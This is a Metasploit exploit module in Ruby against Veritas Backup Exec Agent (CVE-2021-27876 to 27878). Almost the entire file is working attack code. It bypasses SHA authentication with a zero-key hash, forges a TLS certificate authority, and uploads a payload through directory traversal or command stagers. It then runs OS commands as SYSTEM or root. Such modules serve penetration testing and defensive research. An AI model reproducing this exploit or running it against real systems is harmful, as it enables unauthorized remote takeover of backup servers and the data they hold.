# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::NDMPSocket
  include Msf::Exploit::CmdStager
  include Msf::Exploit::EXE
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Veritas Backup Exec Agent Remote Code Execution',
        'Description' => %q{
          Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.
          This authentication scheme is no longer used within Backup Exec versions, but hadn't yet been disabled.
          An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to
          the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges
          depending on the platform.

          The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and
          including Backup Exec Remote Agent revision 9.3)
        },
        'License' => MSF_LICENSE,
        'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],
        'References' => [
          ['CVE', '2021-27876'],
          ['CVE', '2021-27877'],
          ['CVE', '2021-27878'],
          ['URL', 'http://web.archive.org/web/20250222002651/https://www.veritas.com/content/support/en_US/security/VTS21-001']
        ],
        'Targets' => [
          [
            'Windows',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm]
            }
          ],
          [
            'Linux',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'CmdStagerFlavor' => %w[bourne wget curl echo]
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 10_000
        },
        'Privileged' => true,
        'DisclosureDate' => '2021-03-01',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [UNRELIABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],
                    conditions: ['TARGET', '==', 'Linux'])
    ])
    deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
  end

  def execute_command(cmd, opts = {})
    case target.opts['Platform']
    when 'win'
      wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\""
    when 'linux'
      wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\""
    end
    ndmp_sock = opts[:ndmp_sock]
    ndmp_sock.do_request_response(
      NDMP::Message.new_request(
        NDMP_EXECUTE_COMMAND,
        NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr
      )
    )
  end

  def exploit
    print_status('Exploiting ...')

    ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
    fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status

    ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)
    fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}") unless ndmp_status

    ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)
    fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless ndmp_status

    if target.opts['Platform'] == 'win'
      filename = "#{rand_text_alpha(8)}.exe"
      ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)
      if ndmp_status
        ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename)
        fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless ndmp_status
      else
        print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager')
        execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
      end
    else
      print_status('Uploading payload with CmdStager')
      execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
    end
  end

  def check
    print_status('Checking vulnerability')

    ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
    return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status

    print_status('Getting supported authentication types')
    ndmp_msg = ndmp_sock.do_request_response(
      NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)
    )
    ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)
    print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|
                                                            "#{AUTH_TYPES[k]} (#{k})"
                                                          end.join(', ')}")
    print_status("BE agent revision: #{ndmp_payload.revision}")

    if ndmp_payload.auth_types.include?(5)
      Exploit::CheckCode::Appears('SHA authentication is enabled')
    else
      Exploit::CheckCode::Safe('SHA authentication is disabled')
    end
  end

  def ndmp_connect
    print_status('Connecting to BE Agent service')
    ndmp_msg = nil
    begin
      ndmp_sock = NDMP::Socket.new(connect)
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,
           Rex::ConnectionRefused => e
      return [false, nil, e.to_s]
    end
    begin
      Timeout.timeout(datastore['ConnectTimeout']) do
        ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
      end
    rescue Timeout::Error
      return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service']
    else
      ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body)
    end

    ndmp_msg = ndmp_sock.do_request_response(
      NDMP::Message.new_request(
        NDMP::Message::CONNECT_OPEN,
        NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr
      )
    )

    ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body)
    unless ndmp_payload.err_code.zero?
      return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"]
    end

    [true, ndmp_sock, nil]
  end

  def tls_enabling(ndmp_sock)
    print_status('Enabling TLS for NDMP connection')
    ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s)
    ndmp_tls_certs.forge_ca
    ndmp_msg = ndmp_sock.do_request_response(
      NDMP::Message.new_request(
        NDMP_SSL_HANDSHAKE,
        NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_REQ])).to_xdr
      )
    )
    ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
    unless ndmp_payload.err_code.zero?
      return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"]
    end

    ndmp_tls_certs.sign_agent_csr(ndmp_payload.data)

    ndmp_msg = ndmp_sock.do_request_response(
      NDMP::Message.new_request(
        NDMP_SSL_HANDSHAKE,
        NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED])).to_xdr
      )
    )
    ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
    unless ndmp_payload.err_code.zero?
      return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"]
    end

    ndmp_msg = ndmp_sock.do_request_response(
      NDMP::Message.new_request(
        NDMP_SSL_HANDSHAKE,
        NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CONNECT])).to_xdr
      )
    )
    ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
    unless ndmp_payload.err_code.zero?
      return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"]
    end

    ssl_context = OpenSSL::SSL::SSLContext.new
    ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key)
    ndmp_sock.wrap_with_ssl(ssl_context)
    [true, nil]
  end

  def sha_authentication(ndmp_sock)
    print_status('Passing SHA authentication')
    ndmp_msg = ndmp_sock.do_request_response(
      NDMP::Message.new_request(
        NDMP_CONFIG_GET_AUTH_ATTR,
        NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr
      )
    )
    ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body)
    unless ndmp_payload.err_code.zero?
      return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"]
    end

    ndmp_msg = ndmp_sock.do_request_response(
      NDMP::Message.new_request(
        NDMP::Message::CONNECT_CLIENT_AUTH,
        NdmpConnectClientAuthReq.new(
          {
            auth_type: 5,
            username: 'Administrator', # Doesn't metter
            hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge)
          }
        ).to_xdr
      )
    )
    ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body)
    unless ndmp_payload.err_code.zero?
      return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"]
    end

    [true, nil]
  end

  def win_write_upload(ndmp_sock, filename)
    print_status('Uploading payload with NDMP_FILE_WRITE packet')
    ndmp_msg = ndmp_sock.do_request_response(
      NDMP::Message.new_request(
        NDMP_FILE_OPEN_EXT,
        NdmpFileOpenExtReq.new(
          {
            filename: filename,
            dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp',
            mode: 4
          }
        ).to_xdr
      )
    )
    ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body)
    unless ndmp_payload.err_code.zero?
      return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"]
    end

    hnd = ndmp_payload.handler
    exe = generate_payload_exe
    offset = 0
    block_size = 2048

    while offset < exe.length
      ndmp_msg = ndmp_sock.do_request_response(
        NDMP::Message.new_request(
          NDMP_FILE_WRITE,
          NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr
        )
      )
      ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body)
      unless ndmp_payload.err_code.zero?
        return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]
      end

      offset += block_size
    end

    ndmp_msg = ndmp_sock.do_request_response(
      NDMP::Message.new_request(
        NDMP_FILE_CLOSE,
        NdmpFileCloseReq.new({ handler: hnd }).to_xdr
      )
    )
    ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body)
    unless ndmp_payload.err_code.zero?
      return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]
    end

    [true, nil]
  end

  def exec_win_command(ndmp_sock, filename)
    cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""
    ndmp_msg = ndmp_sock.do_request_response(
      NDMP::Message.new_request(
        NDMP_EXECUTE_COMMAND,
        NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr
      )
    )
    ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body)
    unless ndmp_payload.err_code.zero?
      return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]
    end

    [true, nil]
  end

  # Class to create CA and client certificates
  class NdmpTlsCerts
    def initialize(hostname, ip)
      @hostname = hostname
      @ip = ip
      @ca_key = nil
      @ca_cert = nil
      @be_agent_cert = nil
    end

    SSL_HANDSHAKE_TYPES = {
      SSL_HANDSHAKE_TEST_CERT: 1,
      SSL_HANDSHAKE_CSR_REQ: 2,
      SSL_HANDSHAKE_CSR_SIGNED: 3,
      SSL_HANDSHAKE_CONNECT: 4
    }.freeze

    attr_reader :ca_cert, :ca_key

    def forge_ca
      @ca_key = OpenSSL::PKey::RSA.new(2048)
      @ca_cert = OpenSSL::X509::Certificate.new
      @ca_cert.version = 2
      @ca_cert.serial = rand(2**32..2**64 - 1)
      @ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")
      extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)
      @ca_cert.extensions = [
        extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
        extn_factory.create_extension('basicConstraints', 'CA:TRUE'),
        extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')
      ]
      @ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))
      @ca_cert.public_key = @ca_key.public_key
      @ca_cert.not_before = Time.now - 7 * 60 * 60 * 24
      @ca_cert.not_after = Time.now + 14 * 24 * 60 * 60
      @ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
    end

    def sign_agent_csr(csr)
      o_csr = OpenSSL::X509::Request.new(csr)
      @be_agent_cert = OpenSSL::X509::Certificate.new
      @be_agent_cert.version = 2
      @be_agent_cert.serial = rand(2**32..2**64 - 1)
      @be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24
      @be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60
      @be_agent_cert.issuer = @ca_cert.subject
      @be_agent_cert.subject = o_csr.subject
      @be_agent_cert.public_key = o_csr.public_key
      @be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
    end

    def default_sslpacket_content(ssl_packet_type)
      if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]
        ca_cert = @ca_cert.to_s
        agent_cert = @be_agent_cert.to_s
      else
        ca_cert = ''
        agent_cert = ''
      end
      {
        ssl_packet_type: ssl_packet_type,
        hostname: @hostname,
        nb_hostname: @hostname.upcase,
        ip_addr: @ip,
        cert_id1: get_cert_id(@ca_cert),
        cert_id2: get_cert_id(@ca_cert),
        unknown1: 0,
        unknown2: 0,
        ca_cert_len: ca_cert.length,
        ca_cert: ca_cert,
        agent_cert_len: agent_cert.length,
        agent_cert: agent_cert
      }
    end

    def get_cert_id(cert)
      Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<')
    end
  end

  NDMP_CONFIG_GET_AUTH_ATTR = 0x103
  NDMP_SSL_HANDSHAKE = 0xf383
  NDMP_EXECUTE_COMMAND = 0xf30f
  NDMP_FILE_OPEN_EXT = 0xf308
  NDMP_FILE_WRITE = 0xF309
  NDMP_FILE_CLOSE = 0xF306

  AUTH_TYPES = {
    1 => 'Text',
    2 => 'MD5',
    3 => 'BEWS',
    4 => 'SSPI',
    5 => 'SHA',
    190 => 'BEWS2' # 0xBE
  }.freeze

  # Responce packets
  class NdmpNotifyConnectedRes < XDR::Struct
    attribute :connected, XDR::Int
    attribute :version, XDR::Int
    attribute :reason, XDR::Int
  end

  class NdmpConnectOpenRes < XDR::Struct
    attribute :err_code, XDR::Int
  end

  class NdmpConfigGetServerInfoRes < XDR::Struct
    attribute :err_code, XDR::Int
    attribute :vendor_name, XDR::String[]
    attribute :product_name, XDR::String[]
    attribute :revision, XDR::String[]
    attribute :auth_types, XDR::VarArray[XDR::Int]
  end

  class NdmpConfigGetHostInfoRes < XDR::Struct
    attribute :err_code, XDR::Int
    attribute :hostname, XDR::String[]
    attribute :os, XDR::String[]
    attribute :os_info, XDR::String[]
    attribute :ip, XDR::String[]
  end

  class NdmpSslHandshakeRes < XDR::Struct
    attribute :data_len, XDR::Int
    attribute :data, XDR::String[]
    attribute :err_code, XDR::Int
    attribute :unknown4, XDR::String[]
  end

  class NdmpConfigGetAuthAttrRes < XDR::Struct
    attribute :err_code, XDR::Int
    attribute :auth_type, XDR::Int
    attribute :challenge, XDR::Opaque[64]
  end

  class NdmpConnectClientAuthRes < XDR::Struct
    attribute :err_code, XDR::Int
  end

  class NdmpExecuteCommandRes < XDR::Struct
    attribute :err_code, XDR::Int
  end

  class NdmpFileOpenExtRes < XDR::Struct
    attribute :err_code, XDR::Int
    attribute :handler, XDR::Int
  end

  class NdmpFileWriteRes < XDR::Struct
    attribute :err_code, XDR::Int
    attribute :recv_len, XDR::Int
    attribute :unknown, XDR::Int
  end

  class NdmpFileCloseRes < XDR::Struct
    attribute :err_code, XDR::Int
  end

  # Request packets
  class NdmpConnectOpenReq < XDR::Struct
    attribute :version, XDR::Int
  end

  class NdmpSslHandshakeReq < XDR::Struct
    attribute :ssl_packet_type, XDR::Int
    attribute :nb_hostname, XDR::String[]
    attribute :hostname, XDR::String[]
    attribute :ip_addr, XDR::String[]
    attribute :cert_id1, XDR::Int
    attribute :cert_id2, XDR::Int
    attribute :unknown1, XDR::Int
    attribute :unknown2, XDR::Int
    attribute :ca_cert_len, XDR::Int
    attribute :ca_cert, XDR::String[]
    attribute :agent_cert_len, XDR::Int
    attribute :agent_cert, XDR::String[]
  end

  class NdmpConfigGetAuthAttrReq < XDR::Struct
    attribute :auth_type, XDR::Int
  end

  class NdmpConnectClientAuthReq < XDR::Struct
    attribute :auth_type, XDR::Int
    attribute :username, XDR::String[]
    attribute :hash, XDR::Opaque[32]
  end

  class NdmpExecuteCommandReq < XDR::Struct
    attribute :cmd, XDR::String[]
    attribute :unknown, XDR::Int
  end

  class NdmpFileOpenExtReq < XDR::Struct
    attribute :filename, XDR::String[]
    attribute :dir, XDR::String[]
    attribute :mode, XDR::Int
  end

  class NdmpFileWriteReq < XDR::Struct
    attribute :handler, XDR::Int
    attribute :len, XDR::Int
    attribute :data, XDR::String[]
  end

  class NdmpFileCloseReq < XDR::Struct
    attribute :handler, XDR::Int
  end
end
